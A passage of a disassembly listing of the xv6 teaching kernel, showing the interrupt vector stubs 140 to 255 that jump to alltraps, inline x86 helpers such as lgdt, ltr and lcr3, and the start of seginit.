ad f4 ff ff jmp 801067ce <alltraps> 80107321 <vector140>: .globl vector140 vector140: pushl $0 80107321: 6a 00 push $0x0 pushl $140 80107323: 68 8c 00 00 00 push $0x8c jmp alltraps 80107328: e9 a1 f4 ff ff jmp 801067ce <alltraps> 8010732d <vector141>: .globl vector141 vector141: pushl $0 8010732d: 6a 00 push $0x0 pushl $141 8010732f: 68 8d 00 00 00 push $0x8d jmp alltraps 80107334: e9 95 f4 ff ff jmp 801067ce <alltraps> 80107339 <vector142>: .globl vector142 vector142: pushl $0 80107339: 6a 00 push $0x0 pushl $142 8010733b: 68 8e 00 00 00 push $0x8e jmp alltraps 80107340: e9 89 f4 ff ff jmp 801067ce <alltraps> 80107345 <vector143>: .globl vector143 vector143: pushl $0 80107345: 6a 00 push $0x0 pushl $143 80107347: 68 8f 00 00 00 push $0x8f jmp alltraps 8010734c: e9 7d f4 ff ff jmp 801067ce <alltraps> 80107351 <vector144>: .globl vector144 vector144: pushl $0 80107351: 6a 00 push $0x0 pushl $144 80107353: 68 90 00 00 00 push $0x90 jmp alltraps 80107358: e9 71 f4 ff ff jmp 801067ce <alltraps> 8010735d <vector145>: .globl vector145 vector145: pushl $0 8010735d: 6a 00 push $0x0 pushl $145 8010735f: 68 91 00 00 00 push $0x91 jmp alltraps 80107364: e9 65 f4 ff ff jmp 801067ce <alltraps> 80107369 <vector146>: .globl vector146 vector146: pushl $0 80107369: 6a 00 push $0x0 pushl $146 8010736b: 68 92 00 00 00 push $0x92 jmp alltraps 80107370: e9 59 f4 ff ff jmp 801067ce <alltraps> 80107375 <vector147>: .globl vector147 vector147: pushl $0 80107375: 6a 00 push $0x0 pushl $147 80107377: 68 93 00 00 00 push $0x93 jmp alltraps 8010737c: e9 4d f4 ff ff jmp 801067ce <alltraps> 80107381 <vector148>: .globl vector148 vector148: pushl $0 80107381: 6a 00 push $0x0 pushl $148 80107383: 68 94 00 00 00 push $0x94 jmp alltraps 80107388: e9 41 f4 ff ff jmp 801067ce <alltraps> 8010738d <vector149>: .globl vector149 vector149: pushl $0 8010738d: 6a 00 push $0x0 pushl $149 8010738f: 68 95 00 00 00 push $0x95 jmp alltraps 80107394: e9 35 f4 ff ff jmp 801067ce <alltraps> 80107399 <vector150>: .globl vector150 vector150: pushl $0 80107399: 6a 00 push $0x0 pushl $150 8010739b: 68 96 00 00 00 push $0x96 jmp alltraps 801073a0: e9 29 f4 ff ff jmp 801067ce <alltraps> 801073a5 <vector151>: .globl vector151 vector151: pushl $0 801073a5: 6a 00 push $0x0 pushl $151 801073a7: 68 97 00 00 00 push $0x97 jmp alltraps 801073ac: e9 1d f4 ff ff jmp 801067ce <alltraps> 801073b1 <vector152>: .globl vector152 vector152: pushl $0 801073b1: 6a 00 push $0x0 pushl $152 801073b3: 68 98 00 00 00 push $0x98 jmp alltraps 801073b8: e9 11 f4 ff ff jmp 801067ce <alltraps> 801073bd <vector153>: .globl vector153 vector153: pushl $0 801073bd: 6a 00 push $0x0 pushl $153 801073bf: 68 99 00 00 00 push $0x99 jmp alltraps 801073c4: e9 05 f4 ff ff jmp 801067ce <alltraps> 801073c9 <vector154>: .globl vector154 vector154: pushl $0 801073c9: 6a 00 push $0x0 pushl $154 801073cb: 68 9a 00 00 00 push $0x9a jmp alltraps 801073d0: e9 f9 f3 ff ff jmp 801067ce <alltraps> 801073d5 <vector155>: .globl vector155 vector155: pushl $0 801073d5: 6a 00 push $0x0 pushl $155 801073d7: 68 9b 00 00 00 push $0x9b jmp alltraps 801073dc: e9 ed f3 ff ff jmp 801067ce <alltraps> 801073e1 <vector156>: .globl vector156 vector156: pushl $0 801073e1: 6a 00 push $0x0 pushl $156 801073e3: 68 9c 00 00 00 push $0x9c jmp alltraps 801073e8: e9 e1 f3 ff ff jmp 801067ce <alltraps> 801073ed <vector157>: .globl vector157 vector157: pushl $0 801073ed: 6a 00 push $0x0 pushl $157 801073ef: 68 9d 00 00 00 push $0x9d jmp alltraps 801073f4: e9 d5 f3 ff ff jmp 801067ce <alltraps> 801073f9 <vector158>: .globl vector158 vector158: pushl $0 801073f9: 6a 00 push $0x0 pushl $158 801073fb: 68 9e 00 00 00 push $0x9e jmp alltraps 80107400: e9 c9 f3 ff ff jmp 801067ce <alltraps> 80107405 <vector159>: .globl vector159 vector159: pushl $0 80107405: 6a 00 push $0x0 pushl $159 80107407: 68 9f 00 00 00 push $0x9f jmp alltraps 8010740c: e9 bd f3 ff ff jmp 801067ce <alltraps> 80107411 <vector160>: .globl vector160 vector160: pushl $0 80107411: 6a 00 push $0x0 pushl $160 80107413: 68 a0 00 00 00 push $0xa0 jmp alltraps 80107418: e9 b1 f3 ff ff jmp 801067ce <alltraps> 8010741d <vector161>: .globl vector161 vector161: pushl $0 8010741d: 6a 00 push $0x0 pushl $161 8010741f: 68 a1 00 00 00 push $0xa1 jmp alltraps 80107424: e9 a5 f3 ff ff jmp 801067ce <alltraps> 80107429 <vector162>: .globl vector162 vector162: pushl $0 80107429: 6a 00 push $0x0 pushl $162 8010742b: 68 a2 00 00 00 push $0xa2 jmp alltraps 80107430: e9 99 f3 ff ff jmp 801067ce <alltraps> 80107435 <vector163>: .globl vector163 vector163: pushl $0 80107435: 6a 00 push $0x0 pushl $163 80107437: 68 a3 00 00 00 push $0xa3 jmp alltraps 8010743c: e9 8d f3 ff ff jmp 801067ce <alltraps> 80107441 <vector164>: .globl vector164 vector164: pushl $0 80107441: 6a 00 push $0x0 pushl $164 80107443: 68 a4 00 00 00 push $0xa4 jmp alltraps 80107448: e9 81 f3 ff ff jmp 801067ce <alltraps> 8010744d <vector165>: .globl vector165 vector165: pushl $0 8010744d: 6a 00 push $0x0 pushl $165 8010744f: 68 a5 00 00 00 push $0xa5 jmp alltraps 80107454: e9 75 f3 ff ff jmp 801067ce <alltraps> 80107459 <vector166>: .globl vector166 vector166: pushl $0 80107459: 6a 00 push $0x0 pushl $166 8010745b: 68 a6 00 00 00 push $0xa6 jmp alltraps 80107460: e9 69 f3 ff ff jmp 801067ce <alltraps> 80107465 <vector167>: .globl vector167 vector167: pushl $0 80107465: 6a 00 push $0x0 pushl $167 80107467: 68 a7 00 00 00 push $0xa7 jmp alltraps 8010746c: e9 5d f3 ff ff jmp 801067ce <alltraps> 80107471 <vector168>: .globl vector168 vector168: pushl $0 80107471: 6a 00 push $0x0 pushl $168 80107473: 68 a8 00 00 00 push $0xa8 jmp alltraps 80107478: e9 51 f3 ff ff jmp 801067ce <alltraps> 8010747d <vector169>: .globl vector169 vector169: pushl $0 8010747d: 6a 00 push $0x0 pushl $169 8010747f: 68 a9 00 00 00 push $0xa9 jmp alltraps 80107484: e9 45 f3 ff ff jmp 801067ce <alltraps> 80107489 <vector170>: .globl vector170 vector170: pushl $0 80107489: 6a 00 push $0x0 pushl $170 8010748b: 68 aa 00 00 00 push $0xaa jmp alltraps 80107490: e9 39 f3 ff ff jmp 801067ce <alltraps> 80107495 <vector171>: .globl vector171 vector171: pushl $0 80107495: 6a 00 push $0x0 pushl $171 80107497: 68 ab 00 00 00 push $0xab jmp alltraps 8010749c: e9 2d f3 ff ff jmp 801067ce <alltraps> 801074a1 <vector172>: .globl vector172 vector172: pushl $0 801074a1: 6a 00 push $0x0 pushl $172 801074a3: 68 ac 00 00 00 push $0xac jmp alltraps 801074a8: e9 21 f3 ff ff jmp 801067ce <alltraps> 801074ad <vector173>: .globl vector173 vector173: pushl $0 801074ad: 6a 00 push $0x0 pushl $173 801074af: 68 ad 00 00 00 push $0xad jmp alltraps 801074b4: e9 15 f3 ff ff jmp 801067ce <alltraps> 801074b9 <vector174>: .globl vector174 vector174: pushl $0 801074b9: 6a 00 push $0x0 pushl $174 801074bb: 68 ae 00 00 00 push $0xae jmp alltraps 801074c0: e9 09 f3 ff ff jmp 801067ce <alltraps> 801074c5 <vector175>: .globl vector175 vector175: pushl $0 801074c5: 6a 00 push $0x0 pushl $175 801074c7: 68 af 00 00 00 push $0xaf jmp alltraps 801074cc: e9 fd f2 ff ff jmp 801067ce <alltraps> 801074d1 <vector176>: .globl vector176 vector176: pushl $0 801074d1: 6a 00 push $0x0 pushl $176 801074d3: 68 b0 00 00 00 push $0xb0 jmp alltraps 801074d8: e9 f1 f2 ff ff jmp 801067ce <alltraps> 801074dd <vector177>: .globl vector177 vector177: pushl $0 801074dd: 6a 00 push $0x0 pushl $177 801074df: 68 b1 00 00 00 push $0xb1 jmp alltraps 801074e4: e9 e5 f2 ff ff jmp 801067ce <alltraps> 801074e9 <vector178>: .globl vector178 vector178: pushl $0 801074e9: 6a 00 push $0x0 pushl $178 801074eb: 68 b2 00 00 00 push $0xb2 jmp alltraps 801074f0: e9 d9 f2 ff ff jmp 801067ce <alltraps> 801074f5 <vector179>: .globl vector179 vector179: pushl $0 801074f5: 6a 00 push $0x0 pushl $179 801074f7: 68 b3 00 00 00 push $0xb3 jmp alltraps 801074fc: e9 cd f2 ff ff jmp 801067ce <alltraps> 80107501 <vector180>: .globl vector180 vector180: pushl $0 80107501: 6a 00 push $0x0 pushl $180 80107503: 68 b4 00 00 00 push $0xb4 jmp alltraps 80107508: e9 c1 f2 ff ff jmp 801067ce <alltraps> 8010750d <vector181>: .globl vector181 vector181: pushl $0 8010750d: 6a 00 push $0x0 pushl $181 8010750f: 68 b5 00 00 00 push $0xb5 jmp alltraps 80107514: e9 b5 f2 ff ff jmp 801067ce <alltraps> 80107519 <vector182>: .globl vector182 vector182: pushl $0 80107519: 6a 00 push $0x0 pushl $182 8010751b: 68 b6 00 00 00 push $0xb6 jmp alltraps 80107520: e9 a9 f2 ff ff jmp 801067ce <alltraps> 80107525 <vector183>: .globl vector183 vector183: pushl $0 80107525: 6a 00 push $0x0 pushl $183 80107527: 68 b7 00 00 00 push $0xb7 jmp alltraps 8010752c: e9 9d f2 ff ff jmp 801067ce <alltraps> 80107531 <vector184>: .globl vector184 vector184: pushl $0 80107531: 6a 00 push $0x0 pushl $184 80107533: 68 b8 00 00 00 push $0xb8 jmp alltraps 80107538: e9 91 f2 ff ff jmp 801067ce <alltraps> 8010753d <vector185>: .globl vector185 vector185: pushl $0 8010753d: 6a 00 push $0x0 pushl $185 8010753f: 68 b9 00 00 00 push $0xb9 jmp alltraps 80107544: e9 85 f2 ff ff jmp 801067ce <alltraps> 80107549 <vector186>: .globl vector186 vector186: pushl $0 80107549: 6a 00 push $0x0 pushl $186 8010754b: 68 ba 00 00 00 push $0xba jmp alltraps 80107550: e9 79 f2 ff ff jmp 801067ce <alltraps> 80107555 <vector187>: .globl vector187 vector187: pushl $0 80107555: 6a 00 push $0x0 pushl $187 80107557: 68 bb 00 00 00 push $0xbb jmp alltraps 8010755c: e9 6d f2 ff ff jmp 801067ce <alltraps> 80107561 <vector188>: .globl vector188 vector188: pushl $0 80107561: 6a 00 push $0x0 pushl $188 80107563: 68 bc 00 00 00 push $0xbc jmp alltraps 80107568: e9 61 f2 ff ff jmp 801067ce <alltraps> 8010756d <vector189>: .globl vector189 vector189: pushl $0 8010756d: 6a 00 push $0x0 pushl $189 8010756f: 68 bd 00 00 00 push $0xbd jmp alltraps 80107574: e9 55 f2 ff ff jmp 801067ce <alltraps> 80107579 <vector190>: .globl vector190 vector190: pushl $0 80107579: 6a 00 push $0x0 pushl $190 8010757b: 68 be 00 00 00 push $0xbe jmp alltraps 80107580: e9 49 f2 ff ff jmp 801067ce <alltraps> 80107585 <vector191>: .globl vector191 vector191: pushl $0 80107585: 6a 00 push $0x0 pushl $191 80107587: 68 bf 00 00 00 push $0xbf jmp alltraps 8010758c: e9 3d f2 ff ff jmp 801067ce <alltraps> 80107591 <vector192>: .globl vector192 vector192: pushl $0 80107591: 6a 00 push $0x0 pushl $192 80107593: 68 c0 00 00 00 push $0xc0 jmp alltraps 80107598: e9 31 f2 ff ff jmp 801067ce <alltraps> 8010759d <vector193>: .globl vector193 vector193: pushl $0 8010759d: 6a 00 push $0x0 pushl $193 8010759f: 68 c1 00 00 00 push $0xc1 jmp alltraps 801075a4: e9 25 f2 ff ff jmp 801067ce <alltraps> 801075a9 <vector194>: .globl vector194 vector194: pushl $0 801075a9: 6a 00 push $0x0 pushl $194 801075ab: 68 c2 00 00 00 push $0xc2 jmp alltraps 801075b0: e9 19 f2 ff ff jmp 801067ce <alltraps> 801075b5 <vector195>: .globl vector195 vector195: pushl $0 801075b5: 6a 00 push $0x0 pushl $195 801075b7: 68 c3 00 00 00 push $0xc3 jmp alltraps 801075bc: e9 0d f2 ff ff jmp 801067ce <alltraps> 801075c1 <vector196>: .globl vector196 vector196: pushl $0 801075c1: 6a 00 push $0x0 pushl $196 801075c3: 68 c4 00 00 00 push $0xc4 jmp alltraps 801075c8: e9 01 f2 ff ff jmp 801067ce <alltraps> 801075cd <vector197>: .globl vector197 vector197: pushl $0 801075cd: 6a 00 push $0x0 pushl $197 801075cf: 68 c5 00 00 00 push $0xc5 jmp alltraps 801075d4: e9 f5 f1 ff ff jmp 801067ce <alltraps> 801075d9 <vector198>: .globl vector198 vector198: pushl $0 801075d9: 6a 00 push $0x0 pushl $198 801075db: 68 c6 00 00 00 push $0xc6 jmp alltraps 801075e0: e9 e9 f1 ff ff jmp 801067ce <alltraps> 801075e5 <vector199>: .globl vector199 vector199: pushl $0 801075e5: 6a 00 push $0x0 pushl $199 801075e7: 68 c7 00 00 00 push $0xc7 jmp alltraps 801075ec: e9 dd f1 ff ff jmp 801067ce <alltraps> 801075f1 <vector200>: .globl vector200 vector200: pushl $0 801075f1: 6a 00 push $0x0 pushl $200 801075f3: 68 c8 00 00 00 push $0xc8 jmp alltraps 801075f8: e9 d1 f1 ff ff jmp 801067ce <alltraps> 801075fd <vector201>: .globl vector201 vector201: pushl $0 801075fd: 6a 00 push $0x0 pushl $201 801075ff: 68 c9 00 00 00 push $0xc9 jmp alltraps 80107604: e9 c5 f1 ff ff jmp 801067ce <alltraps> 80107609 <vector202>: .globl vector202 vector202: pushl $0 80107609: 6a 00 push $0x0 pushl $202 8010760b: 68 ca 00 00 00 push $0xca jmp alltraps 80107610: e9 b9 f1 ff ff jmp 801067ce <alltraps> 80107615 <vector203>: .globl vector203 vector203: pushl $0 80107615: 6a 00 push $0x0 pushl $203 80107617: 68 cb 00 00 00 push $0xcb jmp alltraps 8010761c: e9 ad f1 ff ff jmp 801067ce <alltraps> 80107621 <vector204>: .globl vector204 vector204: pushl $0 80107621: 6a 00 push $0x0 pushl $204 80107623: 68 cc 00 00 00 push $0xcc jmp alltraps 80107628: e9 a1 f1 ff ff jmp 801067ce <alltraps> 8010762d <vector205>: .globl vector205 vector205: pushl $0 8010762d: 6a 00 push $0x0 pushl $205 8010762f: 68 cd 00 00 00 push $0xcd jmp alltraps 80107634: e9 95 f1 ff ff jmp 801067ce <alltraps> 80107639 <vector206>: .globl vector206 vector206: pushl $0 80107639: 6a 00 push $0x0 pushl $206 8010763b: 68 ce 00 00 00 push $0xce jmp alltraps 80107640: e9 89 f1 ff ff jmp 801067ce <alltraps> 80107645 <vector207>: .globl vector207 vector207: pushl $0 80107645: 6a 00 push $0x0 pushl $207 80107647: 68 cf 00 00 00 push $0xcf jmp alltraps 8010764c: e9 7d f1 ff ff jmp 801067ce <alltraps> 80107651 <vector208>: .globl vector208 vector208: pushl $0 80107651: 6a 00 push $0x0 pushl $208 80107653: 68 d0 00 00 00 push $0xd0 jmp alltraps 80107658: e9 71 f1 ff ff jmp 801067ce <alltraps> 8010765d <vector209>: .globl vector209 vector209: pushl $0 8010765d: 6a 00 push $0x0 pushl $209 8010765f: 68 d1 00 00 00 push $0xd1 jmp alltraps 80107664: e9 65 f1 ff ff jmp 801067ce <alltraps> 80107669 <vector210>: .globl vector210 vector210: pushl $0 80107669: 6a 00 push $0x0 pushl $210 8010766b: 68 d2 00 00 00 push $0xd2 jmp alltraps 80107670: e9 59 f1 ff ff jmp 801067ce <alltraps> 80107675 <vector211>: .globl vector211 vector211: pushl $0 80107675: 6a 00 push $0x0 pushl $211 80107677: 68 d3 00 00 00 push $0xd3 jmp alltraps 8010767c: e9 4d f1 ff ff jmp 801067ce <alltraps> 80107681 <vector212>: .globl vector212 vector212: pushl $0 80107681: 6a 00 push $0x0 pushl $212 80107683: 68 d4 00 00 00 push $0xd4 jmp alltraps 80107688: e9 41 f1 ff ff jmp 801067ce <alltraps> 8010768d <vector213>: .globl vector213 vector213: pushl $0 8010768d: 6a 00 push $0x0 pushl $213 8010768f: 68 d5 00 00 00 push $0xd5 jmp alltraps 80107694: e9 35 f1 ff ff jmp 801067ce <alltraps> 80107699 <vector214>: .globl vector214 vector214: pushl $0 80107699: 6a 00 push $0x0 pushl $214 8010769b: 68 d6 00 00 00 push $0xd6 jmp alltraps 801076a0: e9 29 f1 ff ff jmp 801067ce <alltraps> 801076a5 <vector215>: .globl vector215 vector215: pushl $0 801076a5: 6a 00 push $0x0 pushl $215 801076a7: 68 d7 00 00 00 push $0xd7 jmp alltraps 801076ac: e9 1d f1 ff ff jmp 801067ce <alltraps> 801076b1 <vector216>: .globl vector216 vector216: pushl $0 801076b1: 6a 00 push $0x0 pushl $216 801076b3: 68 d8 00 00 00 push $0xd8 jmp alltraps 801076b8: e9 11 f1 ff ff jmp 801067ce <alltraps> 801076bd <vector217>: .globl vector217 vector217: pushl $0 801076bd: 6a 00 push $0x0 pushl $217 801076bf: 68 d9 00 00 00 push $0xd9 jmp alltraps 801076c4: e9 05 f1 ff ff jmp 801067ce <alltraps> 801076c9 <vector218>: .globl vector218 vector218: pushl $0 801076c9: 6a 00 push $0x0 pushl $218 801076cb: 68 da 00 00 00 push $0xda jmp alltraps 801076d0: e9 f9 f0 ff ff jmp 801067ce <alltraps> 801076d5 <vector219>: .globl vector219 vector219: pushl $0 801076d5: 6a 00 push $0x0 pushl $219 801076d7: 68 db 00 00 00 push $0xdb jmp alltraps 801076dc: e9 ed f0 ff ff jmp 801067ce <alltraps> 801076e1 <vector220>: .globl vector220 vector220: pushl $0 801076e1: 6a 00 push $0x0 pushl $220 801076e3: 68 dc 00 00 00 push $0xdc jmp alltraps 801076e8: e9 e1 f0 ff ff jmp 801067ce <alltraps> 801076ed <vector221>: .globl vector221 vector221: pushl $0 801076ed: 6a 00 push $0x0 pushl $221 801076ef: 68 dd 00 00 00 push $0xdd jmp alltraps 801076f4: e9 d5 f0 ff ff jmp 801067ce <alltraps> 801076f9 <vector222>: .globl vector222 vector222: pushl $0 801076f9: 6a 00 push $0x0 pushl $222 801076fb: 68 de 00 00 00 push $0xde jmp alltraps 80107700: e9 c9 f0 ff ff jmp 801067ce <alltraps> 80107705 <vector223>: .globl vector223 vector223: pushl $0 80107705: 6a 00 push $0x0 pushl $223 80107707: 68 df 00 00 00 push $0xdf jmp alltraps 8010770c: e9 bd f0 ff ff jmp 801067ce <alltraps> 80107711 <vector224>: .globl vector224 vector224: pushl $0 80107711: 6a 00 push $0x0 pushl $224 80107713: 68 e0 00 00 00 push $0xe0 jmp alltraps 80107718: e9 b1 f0 ff ff jmp 801067ce <alltraps> 8010771d <vector225>: .globl vector225 vector225: pushl $0 8010771d: 6a 00 push $0x0 pushl $225 8010771f: 68 e1 00 00 00 push $0xe1 jmp alltraps 80107724: e9 a5 f0 ff ff jmp 801067ce <alltraps> 80107729 <vector226>: .globl vector226 vector226: pushl $0 80107729: 6a 00 push $0x0 pushl $226 8010772b: 68 e2 00 00 00 push $0xe2 jmp alltraps 80107730: e9 99 f0 ff ff jmp 801067ce <alltraps> 80107735 <vector227>: .globl vector227 vector227: pushl $0 80107735: 6a 00 push $0x0 pushl $227 80107737: 68 e3 00 00 00 push $0xe3 jmp alltraps 8010773c: e9 8d f0 ff ff jmp 801067ce <alltraps> 80107741 <vector228>: .globl vector228 vector228: pushl $0 80107741: 6a 00 push $0x0 pushl $228 80107743: 68 e4 00 00 00 push $0xe4 jmp alltraps 80107748: e9 81 f0 ff ff jmp 801067ce <alltraps> 8010774d <vector229>: .globl vector229 vector229: pushl $0 8010774d: 6a 00 push $0x0 pushl $229 8010774f: 68 e5 00 00 00 push $0xe5 jmp alltraps 80107754: e9 75 f0 ff ff jmp 801067ce <alltraps> 80107759 <vector230>: .globl vector230 vector230: pushl $0 80107759: 6a 00 push $0x0 pushl $230 8010775b: 68 e6 00 00 00 push $0xe6 jmp alltraps 80107760: e9 69 f0 ff ff jmp 801067ce <alltraps> 80107765 <vector231>: .globl vector231 vector231: pushl $0 80107765: 6a 00 push $0x0 pushl $231 80107767: 68 e7 00 00 00 push $0xe7 jmp alltraps 8010776c: e9 5d f0 ff ff jmp 801067ce <alltraps> 80107771 <vector232>: .globl vector232 vector232: pushl $0 80107771: 6a 00 push $0x0 pushl $232 80107773: 68 e8 00 00 00 push $0xe8 jmp alltraps 80107778: e9 51 f0 ff ff jmp 801067ce <alltraps> 8010777d <vector233>: .globl vector233 vector233: pushl $0 8010777d: 6a 00 push $0x0 pushl $233 8010777f: 68 e9 00 00 00 push $0xe9 jmp alltraps 80107784: e9 45 f0 ff ff jmp 801067ce <alltraps> 80107789 <vector234>: .globl vector234 vector234: pushl $0 80107789: 6a 00 push $0x0 pushl $234 8010778b: 68 ea 00 00 00 push $0xea jmp alltraps 80107790: e9 39 f0 ff ff jmp 801067ce <alltraps> 80107795 <vector235>: .globl vector235 vector235: pushl $0 80107795: 6a 00 push $0x0 pushl $235 80107797: 68 eb 00 00 00 push $0xeb jmp alltraps 8010779c: e9 2d f0 ff ff jmp 801067ce <alltraps> 801077a1 <vector236>: .globl vector236 vector236: pushl $0 801077a1: 6a 00 push $0x0 pushl $236 801077a3: 68 ec 00 00 00 push $0xec jmp alltraps 801077a8: e9 21 f0 ff ff jmp 801067ce <alltraps> 801077ad <vector237>: .globl vector237 vector237: pushl $0 801077ad: 6a 00 push $0x0 pushl $237 801077af: 68 ed 00 00 00 push $0xed jmp alltraps 801077b4: e9 15 f0 ff ff jmp 801067ce <alltraps> 801077b9 <vector238>: .globl vector238 vector238: pushl $0 801077b9: 6a 00 push $0x0 pushl $238 801077bb: 68 ee 00 00 00 push $0xee jmp alltraps 801077c0: e9 09 f0 ff ff jmp 801067ce <alltraps> 801077c5 <vector239>: .globl vector239 vector239: pushl $0 801077c5: 6a 00 push $0x0 pushl $239 801077c7: 68 ef 00 00 00 push $0xef jmp alltraps 801077cc: e9 fd ef ff ff jmp 801067ce <alltraps> 801077d1 <vector240>: .globl vector240 vector240: pushl $0 801077d1: 6a 00 push $0x0 pushl $240 801077d3: 68 f0 00 00 00 push $0xf0 jmp alltraps 801077d8: e9 f1 ef ff ff jmp 801067ce <alltraps> 801077dd <vector241>: .globl vector241 vector241: pushl $0 801077dd: 6a 00 push $0x0 pushl $241 801077df: 68 f1 00 00 00 push $0xf1 jmp alltraps 801077e4: e9 e5 ef ff ff jmp 801067ce <alltraps> 801077e9 <vector242>: .globl vector242 vector242: pushl $0 801077e9: 6a 00 push $0x0 pushl $242 801077eb: 68 f2 00 00 00 push $0xf2 jmp alltraps 801077f0: e9 d9 ef ff ff jmp 801067ce <alltraps> 801077f5 <vector243>: .globl vector243 vector243: pushl $0 801077f5: 6a 00 push $0x0 pushl $243 801077f7: 68 f3 00 00 00 push $0xf3 jmp alltraps 801077fc: e9 cd ef ff ff jmp 801067ce <alltraps> 80107801 <vector244>: .globl vector244 vector244: pushl $0 80107801: 6a 00 push $0x0 pushl $244 80107803: 68 f4 00 00 00 push $0xf4 jmp alltraps 80107808: e9 c1 ef ff ff jmp 801067ce <alltraps> 8010780d <vector245>: .globl vector245 vector245: pushl $0 8010780d: 6a 00 push $0x0 pushl $245 8010780f: 68 f5 00 00 00 push $0xf5 jmp alltraps 80107814: e9 b5 ef ff ff jmp 801067ce <alltraps> 80107819 <vector246>: .globl vector246 vector246: pushl $0 80107819: 6a 00 push $0x0 pushl $246 8010781b: 68 f6 00 00 00 push $0xf6 jmp alltraps 80107820: e9 a9 ef ff ff jmp 801067ce <alltraps> 80107825 <vector247>: .globl vector247 vector247: pushl $0 80107825: 6a 00 push $0x0 pushl $247 80107827: 68 f7 00 00 00 push $0xf7 jmp alltraps 8010782c: e9 9d ef ff ff jmp 801067ce <alltraps> 80107831 <vector248>: .globl vector248 vector248: pushl $0 80107831: 6a 00 push $0x0 pushl $248 80107833: 68 f8 00 00 00 push $0xf8 jmp alltraps 80107838: e9 91 ef ff ff jmp 801067ce <alltraps> 8010783d <vector249>: .globl vector249 vector249: pushl $0 8010783d: 6a 00 push $0x0 pushl $249 8010783f: 68 f9 00 00 00 push $0xf9 jmp alltraps 80107844: e9 85 ef ff ff jmp 801067ce <alltraps> 80107849 <vector250>: .globl vector250 vector250: pushl $0 80107849: 6a 00 push $0x0 pushl $250 8010784b: 68 fa 00 00 00 push $0xfa jmp alltraps 80107850: e9 79 ef ff ff jmp 801067ce <alltraps> 80107855 <vector251>: .globl vector251 vector251: pushl $0 80107855: 6a 00 push $0x0 pushl $251 80107857: 68 fb 00 00 00 push $0xfb jmp alltraps 8010785c: e9 6d ef ff ff jmp 801067ce <alltraps> 80107861 <vector252>: .globl vector252 vector252: pushl $0 80107861: 6a 00 push $0x0 pushl $252 80107863: 68 fc 00 00 00 push $0xfc jmp alltraps 80107868: e9 61 ef ff ff jmp 801067ce <alltraps> 8010786d <vector253>: .globl vector253 vector253: pushl $0 8010786d: 6a 00 push $0x0 pushl $253 8010786f: 68 fd 00 00 00 push $0xfd jmp alltraps 80107874: e9 55 ef ff ff jmp 801067ce <alltraps> 80107879 <vector254>: .globl vector254 vector254: pushl $0 80107879: 6a 00 push $0x0 pushl $254 8010787b: 68 fe 00 00 00 push $0xfe jmp alltraps 80107880: e9 49 ef ff ff jmp 801067ce <alltraps> 80107885 <vector255>: .globl vector255 vector255: pushl $0 80107885: 6a 00 push $0x0 pushl $255 80107887: 68 ff 00 00 00 push $0xff jmp alltraps 8010788c: e9 3d ef ff ff jmp 801067ce <alltraps> 80107891 <lgdt>: struct segdesc; static inline void lgdt(struct segdesc *p, int size) { 80107891: 55 push %ebp 80107892: 89 e5 mov %esp,%ebp 80107894: 83 ec 10 sub $0x10,%esp volatile ushort pd[3]; pd[0] = size-1; 80107897: 8b 45 0c mov 0xc(%ebp),%eax 8010789a: 83 e8 01 sub $0x1,%eax 8010789d: 66 89 45 fa mov %ax,-0x6(%ebp) pd[1] = (uint)p; 801078a1: 8b 45 08 mov 0x8(%ebp),%eax 801078a4: 66 89 45 fc mov %ax,-0x4(%ebp) pd[2] = (uint)p >> 16; 801078a8: 8b 45 08 mov 0x8(%ebp),%eax 801078ab: c1 e8 10 shr $0x10,%eax 801078ae: 66 89 45 fe mov %ax,-0x2(%ebp) asm volatile("lgdt (%0)" : : "r" (pd)); 801078b2: 8d 45 fa lea -0x6(%ebp),%eax 801078b5: 0f 01 10 lgdtl (%eax) } 801078b8: 90 nop 801078b9: c9 leave 801078ba: c3 ret 801078bb <ltr>: asm volatile("lidt (%0)" : : "r" (pd)); } static inline void ltr(ushort sel) { 801078bb: 55 push %ebp 801078bc: 89 e5 mov %esp,%ebp 801078be: 83 ec 04 sub $0x4,%esp 801078c1: 8b 45 08 mov 0x8(%ebp),%eax 801078c4: 66 89 45 fc mov %ax,-0x4(%ebp) asm volatile("ltr %0" : : "r" (sel)); 801078c8: 0f b7 45 fc movzwl -0x4(%ebp),%eax 801078cc: 0f 00 d8 ltr %ax } 801078cf: 90 nop 801078d0: c9 leave 801078d1: c3 ret 801078d2 <loadgs>: return eflags; } static inline void loadgs(ushort v) { 801078d2: 55 push %ebp 801078d3: 89 e5 mov %esp,%ebp 801078d5: 83 ec 04 sub $0x4,%esp 801078d8: 8b 45 08 mov 0x8(%ebp),%eax 801078db: 66 89 45 fc mov %ax,-0x4(%ebp) asm volatile("movw %0, %%gs" : : "r" (v)); 801078df: 0f b7 45 fc movzwl -0x4(%ebp),%eax 801078e3: 8e e8 mov %eax,%gs } 801078e5: 90 nop 801078e6: c9 leave 801078e7: c3 ret 801078e8 <lcr3>: return val; } static inline void lcr3(uint val) { 801078e8: 55 push %ebp 801078e9: 89 e5 mov %esp,%ebp asm volatile("movl %0,%%cr3" : : "r" (val)); 801078eb: 8b 45 08 mov 0x8(%ebp),%eax 801078ee: 0f 22 d8 mov %eax,%cr3 } 801078f1: 90 nop 801078f2: 5d pop %ebp 801078f3: c3 ret 801078f4 <v2p>: #define KERNBASE 0x80000000 // First kernel virtual address #define KERNLINK (KERNBASE+EXTMEM) // Address where kernel is linked #ifndef __ASSEMBLER__ static inline uint v2p(void *a) { return ((uint) (a)) - KERNBASE; } 801078f4: 55 push %ebp 801078f5: 89 e5 mov %esp,%ebp 801078f7: 8b 45 08 mov 0x8(%ebp),%eax 801078fa: 05 00 00 00 80 add $0x80000000,%eax 801078ff: 5d pop %ebp 80107900: c3 ret 80107901 <p2v>: static inline void *p2v(uint a) { return (void *) ((a) + KERNBASE); } 80107901: 55 push %ebp 80107902: 89 e5 mov %esp,%ebp 80107904: 8b 45 08 mov 0x8(%ebp),%eax 80107907: 05 00 00 00 80 add $0x80000000,%eax 8010790c: 5d pop %ebp 8010790d: c3 ret 8010790e <seginit>: // Set up CPU's kernel segment descriptors. // Run once on entry on each CPU. void seginit(void) { 8010790e: 55 push %ebp 8010790f: 89 e5 mov %esp,%ebp 80107911: 53 push %ebx 80107912: 83 ec 14 sub $0x14,%esp // Map "logical" addresses to virtual addresses using identity map. // Cannot share a CODE descriptor for both kernel and user // because it would have to have DPL_USR, but the CPU forbids // an interrupt from CPL=0 to DPL=3. c = &cpus[cpunum()]; 80107915: e8 b2 b6 ff ff call 80102fcc <cpunum> 8010791a: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax 80107920: 05 40 3d 11 80 add $0x80113d40,%eax 80107925: 89 45 f4 mov 